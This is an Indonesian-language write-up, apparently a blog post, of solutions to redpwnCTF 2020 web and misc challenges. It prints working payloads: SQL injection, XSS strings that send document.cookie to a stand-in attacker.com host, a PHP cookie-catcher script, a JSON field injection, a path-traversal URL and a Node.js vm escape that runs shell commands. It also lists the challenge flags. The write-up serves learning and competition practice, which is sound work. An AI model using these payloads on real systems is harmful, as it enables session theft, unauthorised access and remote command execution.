RedPwnCTF 2020 Web & Misc Challenges WriteUp

Roby Firnando Yusuf
7 min readJun 26, 2020

--

Pada post kali ini saya akan menuliskan writeup redpwnCTF 2020 yang baru saja lewat.Berikut writeup dari soal kategori web dan Misc yang sudah kami selesaikan.untuk Pwn dan Rev solver dari tim kami belum sempat menulisnya

[ WEB Exploitation ]

web/inspector-general

My friend made a new webpage, can you find a flag?

Penyelesaian :

tekan ctrl+u terdapat flag pada tag meta

FLAG : flag{1nspector_g3n3ral_at_w0rk}

web/login

I made a cool login page. I bet you can’t get in!

Site: login.2020.redpwnc.tf

Source code diberikan disini.

Penyelesaian:

Setelah dianalisa, source code vulnerable terhadap SQL Injection, dengan basic payload ‘ or 1=1/* didapatkan flag

FLAG : flag{0bl1g4t0ry_5ql1}

web/static-pastebin

I wanted to make a website to store bits of text, but I don’t have any experience with web development. However, I realized that I don’t need any! If you experience any issues, make a paste and send it here

Site: static-pastebin.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

Penyelesaian:

Setelah dicoba-coba, website vulnerable terhadap XSS.

“><img src=x onerror=”alert(1)”>

terdapat form submit link yang menyatakan admin akan mengunjungi link kita, maka dipastikan kita diharuskan melakukan stealing cookie.

dibuat script receiver untuk menangkap cookie admin dengan PHP :

<?php
header(“Access-Control-Allow-Origin: *”);
if (isset($_GET[‘x’]))
{
file_put_contents(“x.txt”, $_GET[‘x’]);
}
?>

lalu lakukan XSS dengan payload :

“><img src=x onerror=”fetch(‘https://attacker.com/xss.php?x='+document.cookie)">

lalu submit dan kirimkan ke form admin didapatkan flag

FLAG : flag{54n1t1z4t10n_k1nd4_h4rd}

web/panda-facts

I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!

Site: panda-facts.2020.redpwnc.tf

Diberikan source code

Penyelesaian :

Diberikan website untuk login dan source code.Dicoba login biasa hanya member value 1 yang dapat mengeklik tombol,setelah membaca source code, awalnya penulis berasumsi melakukan attack pada enkripsi lalu forging token pada cookie.

sempat stuck beberapa jam disini.kemudian jika diperhatikan kembali pada method generateToken, pada konstanta token, terdapat ${XXXXX} pada javascript artinya merupakan string interpolation (didapatkan dari diskusi di stackoverflow) , penulis sempat curiga ketika website dimasukkan double quote dan backtick malah redirect.

Goalnya melakukan overwrite json key member menjadi 1, setelah dicoba-coba dan sempat stuck lagi beberapa jam , Akhirnya penulis dapat melakukan overwrite member 1 dengan payload :

cok”,”member”:”1

dan didapatkan flag

FLAG : flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}

web/static-static-hosting

Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here

Site: static-static-hosting.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

Penyelesaian :

Mirip seperti static pastebin, hanya saja terdapat filter, setelah dicoba analisa apa yang difilter didapatkan kesimpulan :

attribute apapun pasti didelete ex:onerror,onclick , etc… bahkan sempat membuat atribute sembarang , juga masih tetap terhapus KECUALI atribut src .Artinya website melakukan filter dengan cara whitelist bukan blacklist.

penulis awalnya melakukan alert cookie XSS dengan metode data uri :

“><EMBED SRC=”data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pgo8L3N2Zz4=” type=”image/svg+xml” AllowScriptAccess=”always”></EMBED>

Ternyata didebug dengan console terjadi error : karena cookie tidak dapat diakses pada data URLs

setelah mencari referensi di internet ditemukan blog menarik https://excess-xss.com/, penulis memodifikasi payload menjadi :

<iframe src=javascript:window.location.href=’https://attacker.com/xss.php?x='+document.cookie>

maka dicoba debug dan tidak ada error :

submit pada admin visitor form dan dilihat pada log didapatkan flag

FLAG : flag{wh0_n33d5_d0mpur1fy}

web/tux-fanpage

My friend made a fanpage for Tux; can you steal the source code for me?

Site: tux-fanpage.2020.redpwnc.tf

diberikan source code disini

Penyelesaian :

dibuka webchall, pada soal tertera pemain ditantang untuk mencuri source code jika diperhatikan pada parameter path terdapat nama file, biasanya vulnerable terhadap path traversal / LFI

dibaca source code terdapat 2 filter :

filter 1
filter 2

dibaca sekilas dari method pathTraversal tidak dibolehkan menggunakan ../ pada parameter dir yang dipassing.kemudian filter kedua terdapat regex. yang mengharuskan input alphanumeric pada parameter yang dipassing dir index ke 0.Setelah dicoba dengan url encode menghasilkan not found.

setelah dicoba-coba beberapa jam masih belum berhasil, ternyata jika dibaca lagi pada source code, request mengambil dengan cara query yang jika dibaca di sebuah artikel dapat menerima array (penulis juga tidak memperhatikan dengan baik pada method strip sudah jelas-jelas terdapat dir[0] ).

Setelah melakukan testing beberapa kali didapatkan pattern

path[0] = string sembarang

path[1] = 1

path[2] = payload traversal disini

sehingga :

https://tux-fanpage.2020.redpwnc.tf/page?path[]=peler&path[]=1&path[]=/../../index.js

didapatkan flag pada konstanta

FLAG : flag{tr4v3rsal_Tim3}

web/cookie-recipes-v2

I want to buy some of these recipes, but they are awfully expensive. Can you take a look?

Site: cookie-recipes-v2.2020.redpwnc.tf

diberikan source code disini

Penyelesaian :

Chall ini cukup panjang step nya,diberikan website toko seperti berikut :

hanya balance ≥ 1000 yang dapat membeli flag.dimana tiap action melakukan hit ke sebuah endpoint.Dibaca source code terdapat endpoint menarik bernama gift.

setelah membaca source code mendapat kesimpulan :

  • CSRF
  • Allow Access Unauthorized
  • Race Condition

dan requirement post data nya:

  • method POST
  • harus ada cookie admin
  • content type json
  • parameter GET id user yang akan diberikan balance
  • dan body post password

kemudian dicoba membuat exploit csrf.Sebelum itu, bagaimana kita bisa mendapatkan admin password ?

pada endpoint userInfo benar-benar menampilkan semua info user dengan parameter id si user

lalu untuk mengetahui id admin dilihat dari source code

sehingga kita bisa mendapatkan kredensial admin.

kenapa tidak langsung login admin dan menambahkan balance user ? tidak bisa karena terdapat validasi allowed ip hanya localhost.

Pembuatan CSRF exploit

penulis mencoba meng-hit endpoint dengan fetch dan karena dilihat dari source code webchall terdapat validasi harus terdapat cookie admin ditambahkan credentials:include. dan juga terdapat race condition untuk membypass pengecekan penambahan balance hanya bisa dilakukan sekali.Maka lakukan loop dan buat async function.

setelah itu submit ke admin visitor form

lalu refresh dan BOOM balance kita berubah menjadi 1000

lalu beli flag dan lihat pada halaman purchases didapatkan flag

FLAG : flag{n0_m0r3_gu3551ng}

[ MISC ]

misc/uglybash

This bash script evaluates to echo dont just run it, dummy # flag{...} where the flag is in the comments.

The comment won’t be visible if you just execute the script. How can you mess with bash to get the value right before it executes?

Enjoy the intro misc chal.

resource disini

Penyelesaian :

Diberikan bash yang sepertinya sudah diobfuscated, dari soal flag terdapat pada comment dan pemain diharuskan mengekstrak sebelum kode diekseskusi.

menggunakan bash -x cmd.sh didapatkan hasil debug kode-kode aneh, namun yangperlu diperhatikan dengan jeli disini adalah pada huruf setelah perintah printf

jika discroll dari atas ke bawah akan membentuk flag.

FLAG : flag{us3_zsh_dummy}

misc/CaaSiNO

Who needs regex for sanitization when we have VMs?!?!

The flag is at /ctf/flag.txt

nc 2020.redpwnc.tf 31273

resource soal disini

Penyelesaian :

Diberikan service calc yang dapat mengeksekusi JS,dianalisa kode

kode vulnerable terdapat pada vm.runInNewContext. ditemukan payload dari artikel https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html

Payload :

const process = this.constructor.constructor(‘return this.process’)();process.mainModule.require(‘child_process’).execSync(‘cat /ctf/flag.txt’).toString()

didapatkan flag

FLAG : flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}

Sekian writeup dari kami, jika ada kesalahan mohon dikoreksi.

Sekian terima kasih

--

--